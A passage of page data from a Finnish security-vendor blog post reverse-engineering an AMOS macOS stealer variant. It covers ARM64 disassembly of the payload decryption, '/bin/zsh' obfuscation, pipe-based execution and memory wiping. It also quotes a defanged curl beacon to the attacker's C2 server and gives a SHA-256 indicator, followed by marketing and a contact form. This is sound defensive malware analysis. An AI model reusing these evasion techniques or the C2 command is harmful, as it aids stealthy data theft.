w24\n",[555,2217,2215],{"__ignoreMap":585},[528,2219,2220],{},"XOR-silmukka, joka käsittelee Stage 2 -payloadin:",[573,2222,2223],{"style":575},[577,2224,2227],{"className":2225,"code":2226,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2228,2226],{"__ignoreMap":585},[528,2230,2231,2232,2235,2236,2239,2240,2242],{},"Avain on 16-bittinen arvo, joka johdetaan ensimmäisen shell-payloadin exit-statustavusta, kerrotaan luvulla ",[555,2233,2234],{},"0x7f0"," ja lisätään tilakoneen peruslaskurirekisterin ",[555,2237,2238],{},"w26"," ajankohtaiseen arvoon. Kertolaskuvakio ",[555,2241,2234],{}," saa aikaan sen, että yhden bitin ero exit-koodissa tuottaa täysin eri avaimen. Vierekkäisten avainarvojen välillä ei ole hyödynnettävää jatkuvuutta.",[528,2244,2245],{},"Ilman binäärin suorittamista hallitussa ympäristössä ja ensimmäisen shell-payloadin tarkan exit-koodin kirjaamista Stage 2 -payload pysyy staattiselle analyysille pysyvästi läpinäkymättömänä. Se oli koko analyysin vaikein este.",[538,2247],{},[562,2249,2251],{"id":2250},"shell-suoritus-putket-argumenttien-sijaan-ja-simd-xor","Shell-suoritus: putket argumenttien sijaan, ja SIMD-XOR",[528,2253,568],{},[528,2255,2256,2257,1237,2260,2263],{},"Shell-suoritusfunktio ",[555,2258,2259],{},"FUN_10000091c",[555,2261,2262],{},"0x10000091c"," on binäärin arkkitehtonisesti kiinnostavin komponentti. Täällä kaikki tulee yhteen: dekoodattu payload, obfuskoitu komennon nimi ja eksplisiittinen anti-forensiikkasuunnittelu. Jokainen suunnitteluratkaisu tässä funktiossa palvelee tiettyä evaasiotarkoitusta.",[706,2265,2267],{"id":2266},"askel-1-komennon-nimi-ei-koskaan-esiinny-selkotekstinä","Askel 1: komennon nimi ei koskaan esiinny selkotekstinä",[528,2269,712],{},[528,2271,2272,2275,2276,2279,2280,2283,2284,2287],{},[555,2273,2274],{},"/bin/zsh"," ei esiinny missään binäärissä selkotekstinä. ",[555,2277,2278],{},"__cstring","-osiossa osoitteessa ",[555,2281,2282],{},"0x1007bb5c8"," merkkijono on obfuskoituina tavuina ",[555,2285,2286],{},"\\x01LG@\\x01T]F",". Dekoodaus tapahtuu ajonaikaisesti yhdellä XOR-operaatiolla, suoraan ARM64-assemblystä varmennettavissa:",[573,2289,2290],{"style":575},[577,2291,2294],{"className":2292,"code":2293,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2295,2293],{"__ignoreMap":585},[528,2297,2298,2299,2302,2303,2305,2306,2309],{},"XOR-avain on ",[555,2300,2301],{},"0x2e",", pisteen (",[555,2304,1529],{},") ASCII-arvo. Dekoodaus tapahtuu yhdellä ainoalla ",[555,2307,2308],{},"eor v0.8B, v0.8B, v1.8B"," -käskyllä, ARM64-NEON-vektorikäskyllä, joka XOR-yhdistää kaikki 8 tavua samanaikaisesti. SIMD-käskyn käyttäminen yksinkertaiseen 8 tavun dekoodaukseen on epätavallista ja sillä on kaksi vaikutusta: se on nopeampi kuin tavu tavulta etenevä silmukka, ja syntyvä käskykuvio eroaa perustavasti skalaarisista dekoodaussilmukoista, joihin signatuurihakutyökalut on koulutettu.",[528,2311,2312,2313,1323,2316,1323,2319,1323,2322,2325,2326,1529],{},"Varmennus on yksinkertainen: ",[555,2314,2315],{},"0x01 XOR 0x2e = 0x2f = /",[555,2317,2318],{},"0x4c XOR 0x2e = 0x62 = b",[555,2320,2321],{},"0x47 XOR 0x2e = 0x69 = i",[555,2323,2324],{},"0x40 XOR 0x2e = 0x6e = n",", mikä antaa ensimmäisiksi neljäksi tavuksi ",[555,2327,2328],{},"/bin",[706,2330,2332],{"id":2331},"askel-2-putkiarkkitehtuuri","Askel 2: putkiarkkitehtuuri",[528,2334,712],{},[528,2336,2337],{},"Komennon nimen dekoodauksen jälkeen funktio luo OS-putken ja forkkaa:",[573,2339,2340],{"style":575},[577,2341,2344],{"className":2342,"code":2343,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2345,2343],{"__ignoreMap":585},[528,2347,2348],{},"Lapsiprosessissa:",[573,2350,2351],{"style":575},[577,2352,2355],{"className":2353,"code":2354,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2356,2354],{"__ignoreMap":585},[528,2358,2359,2360,2363,2364,2367,2368,2370],{},"Lapsiprosessi korvaa vakiosyötteensä putken lukupäällä ja käynnistää ",[555,2361,2362],{},"/bin/zsh -s",". ",[555,2365,2366],{},"-s","-tilassa shell lukee komennot stdinistä. Prosessienvalvontatyökaluille tämä prosessi näyttäytyy muodossa ",[555,2369,2362],{}," ilman argumentteja, erottumattomana legitiimistä interaktiivisesta shell-istunnosta.",[706,2372,2374],{"id":2373},"askel-3-vaihtelevan-kokoiset-chunk-kirjoitukset","Askel 3: vaihtelevan kokoiset chunk-kirjoitukset",[528,2376,712],{},[528,2378,2379],{},"Vanhempiprosessi kirjoittaa puretun payloadin tarkoituksella vaihtelevissa chunk-koissa putken kirjoituspäähän:",[573,2381,2382],{"style":575},[577,2383,2386],{"className":2384,"code":2385,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2387,2385],{"__ignoreMap":585},[528,2389,2390,2391,2394,2395,2398,2399,2402,2403,2406],{},"Chunk-kokokaava ",[555,2392,2393],{},"(remaining_length % 192) + 64"," tuottaa arvoja 64:n ja 255 tavun väliltä write-kutsua kohti riippuen jäljellä olevasta payload-pituudesta. Vaihteleva kirjoituskuvio on näkyvissä kernel-tapahtumien tracing-työkaluissa kuten ",[555,2396,2397],{},"ktrace"," tai ",[555,2400,2401],{},"dtrace",", mutta se ei tuota tunnistettavaa kiinteän koon signatuuria. Jokainen saman payloadin suoritus tuottaa eri sekvenssin ",[555,2404,2405],{},"write()","-syscallien kokoja.",[528,2408,2409,2410,2412],{},"Yhden mikrosekunnin ",[555,2411,1119],{}," chunkkien välillä palvelee toista tarkoitusta: se vapauttaa CPU:n kirjoitusten välillä, pitää CPU-kuormituksen tasaisena ja välttää äkillisen piikin, jonka käyttäytymispohjainen EDR-sääntö voisi merkitä poikkeavaksi burst-I/O:ksi.",[706,2414,2416],{"id":2415},"askel-4-välitön-muistin-siivous","Askel 4: välitön muistin siivous",[528,2418,712],{},[573,2420,2421],{"style":575},[577,2422,2425],{"className":2423,"code":2424,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2426,2424],{"__ignoreMap":585},[528,2428,2429,2432],{},[555,2430,2431],{},"_bzero()","-kutsu nollaa koko puretun payload-puskurin välittömästi viimeisen putkeen kirjoituksen jälkeen. Ei aikaikkunaa, ei edes mikrosekuntia, jolloin purettu payload olisi suorituksen päätyttyä vielä muistissa. Live-muistidumppi, joka otetaan heti tämän funktion paluun jälkeen, löytää vain nollia siitä, missä payload oli.",[528,2434,2435,2436,2439],{},"Tätä kutsutaan nimellä ",[771,2437,2438],{},"zero-after-use",", samaa tekniikkaa käyttävät korkean turvallisuuden kryptografiset kirjastot, jotta avainmateriaalia ei jää muistiin. Tämän tekniikan esiintyminen commodity-haittaohjelmassa on epätavallista ja viittaa kehittäjään, jolla on security engineering -tausta.",[706,2441,2443],{"id":2442},"täydellinen-suoritussekvenssi","Täydellinen suoritussekvenssi:",[528,2445,712],{},[573,2447,2448],{"style":575},[577,2449,2452],{"className":2450,"code":2451,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2453,2451],{"__ignoreMap":585},[562,2455,2457],{"id":2456},"import-taulukko-aseena","Import-taulukko aseena",[528,2459,568],{},[528,2461,2462],{},"Tämän binäärin täydellinen import-taulukko:",[573,2464,2465],{"style":575},[577,2466,2469],{"className":2467,"code":2468,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2470,2468],{"__ignoreMap":585},[528,2472,2473],{},"Yhteensä 27 symbolia. Se mikä puuttuu, on vähintään yhtä paljastavaa kuin se mikä on läsnä.",[706,2475,2477],{"id":2476},"puuttuu-verkko","Puuttuu: verkko",[528,2479,712],{},[573,2481,2482],{"style":575},[577,2483,2486],{"className":2484,"code":2485,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2487,2485],{"__ignoreMap":585},[706,2489,2491],{"id":2490},"puuttuu-tiedostojärjestelmä","Puuttuu: tiedostojärjestelmä",[528,2493,712],{},[573,2495,2496],{"style":575},[577,2497,2500],{"className":2498,"code":2499,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2501,2499],{"__ignoreMap":585},[706,2503,2505],{"id":2504},"puuttuu-prosessi-introspektio","Puuttuu: prosessi-introspektio",[528,2507,712],{},[573,2509,2510],{"style":575},[577,2511,2514],{"className":2512,"code":2513,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2515,2513],{"__ignoreMap":585},[706,2517,2519],{"id":2518},"puuttuu-kryptografia","Puuttuu: kryptografia",[528,2521,568],{},[573,2523,2524],{"style":575},[577,2525,2528],{"className":2526,"code":2527,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2529,2527],{"__ignoreMap":585},[528,2531,2532,2533,1323,2536,2539,2540,1323,2543,2546],{},"Perinteisestä haittaohjelmasamplesta odotetaan verkkoimportteja (",[555,2534,2535],{},"socket",[555,2537,2538],{},"connect",") tai tiedostoimportteja (",[555,2541,2542],{},"fopen",[555,2544,2545],{},"write","). Tässä binäärissä ei ole yhtäkään. Tavalliselle skannerille se näyttää harmittomalta prosessin käynnistäjältä, ja niin on suunniteltukin: tietoinen arkkitehtuuriratkaisu, joka juoksuttaa staattiset analyysityökalut tyhjään.",[528,2548,2549,2551],{},[555,2550,921],{},"-binääri ei tee varkautta itse. Sen ainoa tarkoitus on pudottaa ja suorittaa varsinainen haitallinen payload, vahvasti obfuskoitu AppleScript. EDR tai AV, joka etsii haitallisia binäärejä, näkee tässä loaderin ilman verkko- tai tiedosto-I/O:ta ja saattaa luokitella sen puhtaaksi tunnistamatta, että binääri on erikoistunut toimitusjärjestelmä korkean tason skriptipayloadille.",[538,2553],{},[541,2555,2557],{"id":2556},"takaovi","Takaovi",[528,2559,547],{},[528,2561,2562,2563,2566],{},"Incident ei päättynyt alkuperäiseen kompromentointiin. Microsoft Defenderin telemetria näytti prosessin, joka ajoi polusta ",[555,2564,2565],{},"/Users/\u003Credacted>/.mainhelper"," ja kysyi ulkoiselta palvelimelta:",[573,2568,2569],{"style":575},[577,2570,2572],{"className":782,"code":2571,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2573,2574],{"__ignoreMap":585},[622,2575,2576,2579,2581],{"class":624,"line":625},[622,2577,2578],{"class":791},"sh",[622,2580,796],{"class":795},[622,2582,2583],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2585,2586],{},"Base64-merkkijono dekoodautui 16 tavun laite-UUID:ksi, yksilölliseksi tunnisteeksi, jonka hyökkääjän C2-infrastruktuuri oli antanut tälle laitteelle ensimmäisen infektion päivänä.",[528,2588,2589,2592,2593,2596,2597,2599],{},[555,2590,2591],{},".mainhelper","-binääri (SHA-256: ",[555,2594,2595],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") oli asennettu incidentin päivänä osascript-dropperin toimesta ",[555,2598,792],{},"-komennolla.",[538,2601],{},[541,2603,2605],{"id":2604},"kollektiivisen-kilven-voima-shared-threat-intelligence-alustamme","Kollektiivisen kilven voima: Shared-Threat-Intelligence-alustamme",[528,2607,547],{},[528,2609,2610],{},"Kun SOC:ssamme laukeaa alert, kello alkaa käydä paitsi kyseiselle asiakkaalle myös jokaiselle organisaatiolle glueckkanjan suojakilven alla. Tämä tutkimus dokumentoimattomasta AMOS-variantista tekee selväksi, mitä Intelligence Gap käytännössä merkitsee: vaarallinen aikaikkuna, jossa perinteiset toimittajat ovat sokeita, koska ne eivät ole vielä nähneet uhkaa.",[528,2612,2613],{},"Tässä oma Shared Threat Intelligence Platformimme näyttää arvonsa, kehitettynä yksinomaan glueckkanjan CSOC-asiakkaille. Emme odota alan päivityksiä, me tuotamme ne. Kun analyytikkomme vielä purkivat ARM64-assemblyn viimeisiä kerroksia, Automated Orchestration Enginemme jakoi jo poimitut indikaattorit koko ekosysteemiimme. Se tuottaa laumaimmuniteetin: se mikä löydetään yhdeltä ainoalta endpointilta, on minuuteissa estetty uhka jokaiselle organisaatiolle suojamme alla.",[528,2615,2616],{},"Reaktiivinen tietoturva ei toimi uhkia vastaan, jotka livahtavat tarkoituksella perinteisten puolustusmekanismien aukoista. Vastaus on inhimillisen asiantuntemuksen yhdistämisessä arkkitehtuuriin, joka ottaa tämän tiedon käyttöön välittömästi ja skaalassa. Shared intelligence -mallimme kautta hyökkääjän aikaetu kääntyy päinvastaiseksi: asiakkaamme ovat suojattuja ennen kuin ala edes tunnistaa uhkan.",[2618,2619,2620,2625,2628,2631],"blockquote",{},[528,2621,2622],{},[771,2623,2624],{},"Huomautus tietosuojasta",[528,2626,2627],{},"Tunnistetiedot on anonymisoitu tässä julkaisussa. Tiettyjä teknisiä yksityiskohtia, indikaattoreita ja aikaleimoja on voitu muuttaa hieman, jotta kyseisen ympäristön jatkuva suojaus varmistetaan analyysin teknistä eheyttä heikentämättä.",[528,2629,2630],{},"Tämän raportin tekniset analyysit ja Indicators of Compromise (IOC:t) on tarkoitettu yksinomaan tiedoksi ja koulutukseksi. Ne tarjotaan parhaan tiedon mukaan. glueckkanja AG ei anna nimenomaisia tai hiljaisia takuita täydellisyydestä tai tarkkuudesta eikä vastaa vahingoista, menetyksistä tai tietoturvapoikkeamista, jotka syntyvät tässä jaettujen tietojen, sääntöjen tai signatuurien käytöstä. Suosittelemme validoimaan kaikki indikaattorit ja säännöt hallitussa ympäristössä ennen käyttöönottoa.",[528,2632,2633],{},"Kuvatut indikaattorit ja tekniikat voivat mennä päällekkäin tunnettujen haittaohjelmaperheiden kanssa eikä niitä voi liittää yksinomaan yhteen kampanjaan.",[2635,2636,2637],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2639},[2640,2641,2642,2643,2650,2651,2652,2653,2661,2668],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2644},[2645,2646,2647,2648,2649],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":928,"depth":631,"text":929},{"id":1018,"depth":631,"text":1019},{"id":1134,"depth":631,"text":1135},{"id":1205,"depth":631,"text":1206,"children":2654},[2655,2656,2657,2658,2659,2660],{"id":1220,"depth":849,"text":1221},{"id":1508,"depth":849,"text":1509},{"id":1763,"depth":849,"text":1764},{"id":1957,"depth":849,"text":1958},{"id":2044,"depth":849,"text":2045},{"id":2196,"depth":849,"text":2197},{"id":2250,"depth":631,"text":2251,"children":2662},[2663,2664,2665,2666,2667],{"id":2266,"depth":849,"text":2267},{"id":2331,"depth":849,"text":2332},{"id":2373,"depth":849,"text":2374},{"id":2415,"depth":849,"text":2416},{"id":2442,"depth":849,"text":2443},{"id":2456,"depth":631,"text":2457,"children":2669},[2670,2671,2672,2673],{"id":2476,"depth":849,"text":2477},{"id":2490,"depth":849,"text":2491},{"id":2504,"depth":849,"text":2505},{"id":2518,"depth":849,"text":2519},"md","post",{"lang":2677,"seoTitle":2678,"titleClass":2679,"date":2680,"categories":2681,"blogtitlepic":2683,"socialimg":2684,"customExcerpt":2685,"keywords":2686,"maxContent":325,"asideNav":2687,"footer":2702,"contactInContent":2703,"published":325},"fi","AMOS-stealerin variantti: tuntemattoman macOS-haittaohjelman reverse engineering","h2-font-size","2026-04-10",[2682],"Security","head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Tähän asti dokumentoimaton AMOS-stealerin variantti kompromentoi macOS-endpointin. Ei tunnettuja hasheja, ei C2-tietoja julkisissa tietokannoissa. SOC:mme purki kuusi obfuskointikerrosta, poimi kaikki indikaattorit ja jakoi suojauksen kaikille SOC-asiakkaille tunneissa, jo ennen kuin ala oli edes nähnyt samplea.","AMOS Stealer, macOS-haittaohjelma, Reverse Engineering, haittaohjelma-analyysi, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-tietoturva, Stealer-haittaohjelma, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2688},[2689,2692,2694,2697,2699],{"href":2690,"text":2691},"#tapaus-tuntematon-ioc-skenaario","Tapaus",{"href":2693,"text":565},"#stage-1-sandbox-tarkistukset",{"href":2695,"text":2696},"#stage-2-helper-binäärin-reverse-engineering","Stage 2: binäärin analyysi",{"href":2698,"text":2557},"#takaovi",{"href":2700,"text":2701},"#kollektiivisen-kilven-voima-shared-threat-intelligence-alustamme","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2704},{"bgColor":2705,"headline":2706,"subline":2707,"level":562,"textStyling":2708,"flush":2709,"person":2710,"form":2716},"var(--color-gk-dark-blue)","Ota yhteyttä","Haluatteko tietää, miten Shared Threat Intelligence Platformimme suojaa teitä tuntemattomilta haittaohjelmavarianteilta jo ennen kuin ala saa niistä tiedon? Ottakaa yhteyttä.","text-light","justify-content-end",{"image":2711,"cloudinary":325,"alt":2712,"name":2713,"quotee":2713,"quoteeTitle":2714,"quote":2715},"/people/people-jan-geisbauer-csoc.jpg","Muotokuva Jan Geisbauerista, glueckkanjan Head of Security","Jan Geisbauer","Head of Security","Vaarallista tässä variantissa ei ollut tekninen kompleksisuus, niin vaikuttava kuin se onkin. Vaarallista oli aikaikkuna. Ilman Shared Threat Intelligenceä muut asiakkaamme olisivat seisoneet tuntikausia suojaamattomina, kun me vielä analysoimme.",{"ctaText":2717,"cta":2718,"method":2675,"action":2720,"fields":2721},"Lähetä",{"skin":2719},"primary on-surface","/send",[2722,2726,2730,2733,2737,2742,2747,2749,2752,2755,2758,2760],{"type":2723,"id":2724,"value":2725},"hidden","_next","successful",{"label":2727,"type":582,"id":2728,"required":325,"requiredMsg":2729},"Nimi*","name","Anna nimesi.",{"label":2731,"type":582,"id":403,"required":325,"requiredMsg":2732},"Yritys*","Anna yrityksesi.",{"label":2734,"type":2735,"id":2735,"required":325,"requiredMsg":2736},"Sähköpostiosoite*","email","Anna sähköpostiosoitteesi.",{"label":2738,"type":2739,"id":2740,"required":484,"requiredMsg":2741},"Viestinne meille","textarea","message","Anna viesti.",{"label":2743,"type":2744,"id":2745,"required":325,"requiredMsg":2746},"Tietojanne säilytetään meillä pyyntönne käsittelyä ja siihen vastaamista varten. Lisätietoja tietosuojasta löydätte \u003Ca href=\"/fi/privacy\">tietosuojaselosteestamme\u003C/a>.","checkbox","dataprotection","Vahvista",{"type":2723,"id":2748,"value":2682},"_topic",{"type":2723,"id":2750,"value":2751},"_location","World",{"type":2723,"id":2753,"value":2754},"_subject","Form: Blog AMOS Stealer CSOC | FI",{"type":2723,"id":2756,"value":2757},"inbox_key","gkgab-contact-form",{"type":2723,"id":2759},"_gotcha",{"type":2723,"id":2761},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2766,2767,2768,2769,2770],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","k5ZZ-uOZiYxXk8vm2PGPJEE5J2uFlpUKMw-7iJ3go2Y",{"id":2773,"extension":2774,"meta":2775,"stem":8,"__hash__":3124},"authors_data/authors.json","json",{"path":2776,"Fritz Zurhorst":2777,"Alexander Schlindwein":2783,"Sophie Luna":2789,"Nadine Klein":2797,"Karsten Kleinschmidt":2803,"Julian Wendt":2811,"Holger Bunkradt":2816,"Ralf Mania":2822,"Oliver Kieselbach":2828,"Steffen Schwerdtfeger":2834,"Gunnar Winter":2842,"Jan Petersen":2847,"Thorsten Kunzi":2852,"Moritz Pohl":2856,"Thorben Pöschus":2861,"Christoph Hannebauer":2867,"Marco Scheel":2871,"Christopher Brumm":2876,"Florian Klante":2883,"Niklas Bachmann":2888,"Nils Krautkrämer":2893,"Patrick Treptau":2899,"Peter Beckendorf":2904,"Patrick Sobau":2909,"Jörg Wunderlich":2914,"Michael Breither":2918,"Christian Kanja":2923,"Zeba Hoffmann":2929,"Jochen Fröhlich":2934,"Jan Geisbauer":2938,"Gerrit Reinke":2949,"Christian Kordel":2955,"Stephan Wälde":2959,"Carolin Kanja":2964,"Adrian Ritter":2970,"Marvin Bangert":2975,"Thorsten Pickhan":2981,"Christian Lorenz":2987,"Denis Böhm":2992,"Fabian Bader":2997,"Juan Jose Fernandez Perez":3003,"Mahschid Sayyar":3008,"Benjamin Dassow":3013,"Markus Walschburger":3018,"Jonathan Haist":3023,"Daniel Rohregger":3028,"Thomas Naunheim":3033,"Florian Stöckl":3038,"Pascal Asch":3043,"Markus Kättner":3047,"Anna Ulbricht":3054,"Annette Brauns":3061,"body":3067,"title":3123},"/authors",{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Dr. Christoph 